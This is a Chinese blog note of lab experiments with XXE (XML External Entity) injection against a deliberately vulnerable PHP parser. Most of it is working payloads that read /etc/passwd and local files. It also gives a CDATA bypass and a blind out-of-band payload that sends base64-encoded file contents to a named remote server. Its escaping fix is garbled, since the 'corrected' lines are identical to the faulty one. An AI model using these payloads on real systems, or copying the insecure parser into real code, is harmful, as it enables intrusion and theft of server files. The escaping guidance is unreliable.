很早的博客筆記，簡書記下，避免丟失。
https://zzqsmile.github.io/2019/08/19/web安全/XXE/XXE/
好記性不如爛筆頭，關(guān)于XXE還是要記錄下自己的學(xué)習(xí)過程，以后看起來會(huì)更清楚，詳細(xì)原理不再多講，簡單做個(gè)實(shí)驗(yàn)記錄下筆記以便使用。
實(shí)驗(yàn)環(huán)境
web服務(wù)器：10.12.10.198
VPS： 107.182.30.95
實(shí)驗(yàn)一：有回顯讀本地敏感文件(Normal XXE)
web服務(wù)器放置解析XML的php代碼：
示例代碼
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>
結(jié)果如下:
讀取文件種可能會(huì)有特殊符號(hào)如&,<,>,",'等會(huì)導(dǎo)致讀取失敗，比如下面讀取含有特殊字符文件2.txt失敗：
廢話不多說，解決辦法有兩種：
第一種：將讀取文件使用base64編碼即可
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> ]>
<creds>&goodies;</creds>
結(jié)果如下:
第二種：將讀取數(shù)據(jù)放在CDATA 標(biāo)簽中輸出進(jìn)行繞過
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://107.182.30.95/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
服務(wù)器上放置evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
結(jié)果如下:
注意：讀取文件時(shí)候要注意文件以及文件夾權(quán)限問題，否則會(huì)讀取失敗，記錄下遇到的這個(gè)坑吧，在這浪費(fèi)了不少時(shí)間，燒腦~
實(shí)驗(yàn)二：無回顯讀取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
此處需要注意，因?yàn)閷?shí)體值中不能有%，故需要將%轉(zhuǎn)成%或者%，即正確寫法如下：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
或者：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://107.182.30.95/test.dtd">
%remote;%int;%send;
]>
在服務(wù)器監(jiān)聽端口，發(fā)送payload結(jié)果如下：
以上就是XXE基本利用方式總結(jié)筆記，當(dāng)然XXE的危害還有很多，由于時(shí)間原因，暫不記錄。
VPS已廢，就不打碼了。
